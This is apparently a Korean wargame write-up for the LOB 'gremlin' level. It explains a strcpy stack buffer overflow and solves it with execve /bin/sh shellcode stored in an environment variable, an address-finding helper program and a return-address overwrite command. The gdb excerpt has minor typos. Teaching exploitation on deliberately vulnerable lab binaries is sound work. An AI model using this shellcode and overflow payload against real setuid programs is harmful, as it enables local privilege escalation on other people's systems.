[LOB] gremlin
gremlin으로 로그인한 후 파일을 확인하면 cobolt와 cobolt.c 파일이 있다는 것을 알 수 있다.
cobolt.c 파일을 확인하면, 전 문제(gate)와 비슷하다.
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
1. 코드를 확인해 보면, argc < 2 부분을 통해서 인자가 하나라도 주어져야 하고
2. strcpy(buffer, argv[1]); 을 통해서 인자값을 buffer로 입력받는데 입력값에 대한 길이 제한이 없다.
☞ 여기서 bof가 일어난다.
gdb로 cobolt 파일을 확인해보면
psuh %ebp
mov %ebp, %esp
로 함수 프롤로그(함수의 시작)임을 알수 있고
sub %esp, 16으로 변수를 위해서 16bytes가 할당되는 것을 알 수 있다. (*앞에 0x 가 붙지 않았기 때문에 10진수)
또한 gate 문제처럼 변수에 쉘코드를 직접 넣기에는 변수의 길이가 짧기 때문에 불가하다. ☞ 환경변수를 이용해서 문제를 풀어야 될거 같다.
이제 스택의 구조를 알았으니 우리가 원하는 것은 쉘을 얻는 것이기 때문에
이문제를 풀기 위해서 환경변수에 쉘을 저장한 뒤, 해당 주소를 얻어내서 RET에 덮어쓰도록 한다.
1. 우선 쉘코드를 환경변수에 넣는다.
쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export EGG=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
2. 그리고 쉘이 있는 주소를 얻어낸다.
#include <unistd.h>
int main(void)
{
printf("%p\n",getenv("EGG"));
return 0;
}
그러면, 쉘의 주소가 0xbffffe97 인 것을 알 수 있다.
3. 페이로드를 작성하면,
buffer(16bytes) + sfp(4bytes) + ret(4bytes) 에서
1) buffer + sfp ☞ 20bytes에 "A"를 채움
2) ret ☞ 쉘주소 0xbffffe97 삽입
./cobolt `python -c 'print "A"*20+"\x97\xfe\xff\xbf"'`
성공!